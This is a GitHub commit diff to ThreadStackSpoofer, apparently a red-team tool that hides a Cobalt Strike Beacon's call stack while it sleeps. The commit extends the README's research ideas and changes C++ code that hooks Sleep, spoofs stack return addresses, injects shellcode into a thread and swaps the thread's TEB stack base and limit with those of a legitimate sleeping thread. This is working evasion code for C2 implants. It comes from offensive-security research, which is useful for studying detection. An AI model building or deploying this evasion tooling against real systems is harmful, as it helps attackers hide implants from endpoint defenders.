Skip to content

Commit 6dd84dd

Browse files
committed
readme
1 parent 913f381 commit 6dd84dd

File tree

3 files changed

+55
-29
lines changed

3 files changed

+55
-29
lines changed

README.md

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -94,7 +94,15 @@ Surely this project (and commercial implementation found in C2 frameworks) gives
9494

9595
The research on the subject is not yet finished and hopefully will result in a better quality _Stack Spoofing_ in upcoming days. Nonetheless, I'm releasing what I got so far in hope of sparkling inspirations and interest community into further researching this area.
9696

97-
Next areas improving the outcome are to research how we can _exchange_ or copy stacks (utilising [`GetCurrentThreadStackLimits`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadstacklimits)/`NtQueryInformationThread`) from a legitimate thread running `kernel32!Sleep(INFINITE)` or possibly by manipulating our Beacon's thread `TEB/TIB` structures and fields such as `TebBaseAddress` providing shadowed TEB. Another idea would be to play with `RBP/EBP` and `RSP/ESP` pointers on a paused Beacon's thread to change stacks in a similar manner to ROP chains.
97+
Next areas for improving the outcome are to research how we can _exchange_ or copy stacks with one of the following ideas:
98+
99+
1. utilising [`GetCurrentThreadStackLimits`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadstacklimits)/`NtQueryInformationThread`) from a legitimate thread running `kernel32!Sleep(INFINITE)`
100+
101+
2. manipulating our Beacon's thread `TEB/TIB` structures and fields such as `TebBaseAddress`, `NT_TIB.StackBase / NT_TIB.StackLimit` by swapping them with values taken from another legitimate thread.
102+
103+
3. playing with `RBP/EBP` and `RSP/ESP` pointers on a paused Beacon's thread to change stacks in a similar manner to ROP chains - by swapping values of these registers while Beacon's thread is suspended.
104+
105+
4. Create a new user stack with `RtlCreateUserStack` / `RtlFreeUserStack` and exchange stacks from a Beacons thread into that newly created one
98106

99107

100108
## Example run

ThreadStackSpoofer/header.h

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,19 @@ typedef BOOL(__stdcall* typeSymInitialize)(
3232

3333
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
3434

35+
struct EXCEPTION_REGISTRATION
36+
{
37+
void* handler;
38+
void* prevHandler;
39+
};
40+
41+
struct Start_Of_TEB
42+
{
43+
EXCEPTION_REGISTRATION* ExceptionList;
44+
void* StackBase;
45+
void* StackLimit;
46+
};
47+
3548
struct CallStackFrame
3649
{
3750
ULONG_PTR calledFrom;
@@ -51,9 +64,11 @@ struct StackTraceSpoofingMetadata
5164
LPVOID pSymGetModuleBase64;
5265
bool initialized;
5366
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
54-
CallStackFrame mimicFrame[MaxStackFramesToSpoof];
5567
size_t spoofedFrames;
56-
size_t mimickedFrames;
68+
ULONG_PTR legitTebBaseLow;
69+
ULONG_PTR legitTebBaseHigh;
70+
ULONG_PTR origTebBaseLow;
71+
ULONG_PTR origTebBaseHigh;
5772
};
5873

5974
struct HookedSleep

ThreadStackSpoofer/main.cpp

Lines changed: 29 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11

22
#include "header.h"
3+
#include <intrin.h>
34

45
HookedSleep g_hookedSleep;
56
StackTraceSpoofingMetadata g_stackTraceSpoofing;
@@ -10,15 +11,30 @@ void WINAPI MySleep(DWORD _dwMilliseconds)
1011
const volatile DWORD dwMilliseconds = _dwMilliseconds;
1112

1213
// Perform this (current) thread call stack spoofing.
13-
spoofCallStack(true);
14+
//spoofCallStack(true);
1415

1516
log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
1617

18+
PULONG_PTR ptr = (PULONG_PTR)_AddressOfReturnAddress();
19+
ptr--;
20+
21+
22+
Start_Of_TEB* teb = (Start_Of_TEB*)NtCurrentTeb();
23+
g_stackTraceSpoofing.origTebBaseLow = (ULONG_PTR)teb->StackBase;
24+
g_stackTraceSpoofing.origTebBaseHigh = (ULONG_PTR)teb->StackLimit;
25+
26+
teb->StackBase = (void*)g_stackTraceSpoofing.legitTebBaseLow;
27+
teb->StackLimit = (void*)g_stackTraceSpoofing.legitTebBaseHigh;
28+
1729
// Perform sleep emulating originally hooked functionality.
1830
::SleepEx(dwMilliseconds, false);
31+
32+
33+
teb->StackBase = (void*)g_stackTraceSpoofing.origTebBaseLow;
34+
teb->StackLimit = (void*)g_stackTraceSpoofing.origTebBaseHigh;
1935

2036
// Restore original thread's call stack.
21-
spoofCallStack(false);
37+
//spoofCallStack(false);
2238
}
2339

2440
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers /*= NULL*/)
@@ -267,23 +283,14 @@ void spoofCallStack(bool overwriteOrRestore)
267283
{
268284
for (size_t i = 0; i < numOfFrames; i++)
269285
{
270-
if (i > g_stackTraceSpoofing.mimickedFrames)
271-
{
272-
CallStackFrame frame = { 0 };
273-
g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
274-
break;
275-
}
276-
277286
auto& frame = frames[i];
278-
auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i];
279287

280288
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
281289
{
282290
//
283291
// We will use CreateFileW as a fake return address to place onto the thread's frame on stack.
284292
//
285-
//frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
286-
frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr;
293+
frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
287294

288295
//
289296
// We're saving original frame to later use it for call stack restoration.
@@ -454,17 +461,15 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
454461
return (NULL != thread.get());
455462
}
456463

457-
/*
458-
void _acquireLegitimateThreadStack(LPVOID param)
464+
465+
void WINAPI _acquireLegitimateThreadStack(LPVOID param)
459466
{
460-
ULONG_PTR lowLimit = 0, highLimit = 0;
461-
ULONG stackSize = highLimit - lowLimit;
462-
GetCurrentThreadStackLimits(&lowLimit, &highLimit);
463-
464-
g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0);
465-
memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize);
467+
Start_Of_TEB* teb = (Start_Of_TEB*)NtCurrentTeb();
468+
g_stackTraceSpoofing.legitTebBaseLow = (ULONG_PTR)teb->StackBase;
469+
g_stackTraceSpoofing.legitTebBaseHigh = (ULONG_PTR)teb->StackLimit;
470+
471+
::SleepEx(INFINITE, false);
466472
}
467-
*/
468473

469474
bool acquireLegitimateThreadStack()
470475
{
@@ -474,20 +479,18 @@ bool acquireLegitimateThreadStack()
474479
HandlePtr secondThread(::CreateThread(
475480
NULL,
476481
0,
477-
(LPTHREAD_START_ROUTINE)::Sleep,
482+
//(LPTHREAD_START_ROUTINE)::Sleep,
483+
(LPTHREAD_START_ROUTINE)_acquireLegitimateThreadStack,
478484
(LPVOID)INFINITE,
479485
0,
480486
0
481487
), &::CloseHandle);
482488

483489
Sleep(1000);
484490

485-
walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0);
486-
487-
return g_stackTraceSpoofing.mimickedFrames > 0;
491+
return true;
488492
}
489493

490-
491494
int main(int argc, char** argv)
492495
{
493496
if (argc < 3)

0 commit comments

Comments
 (0)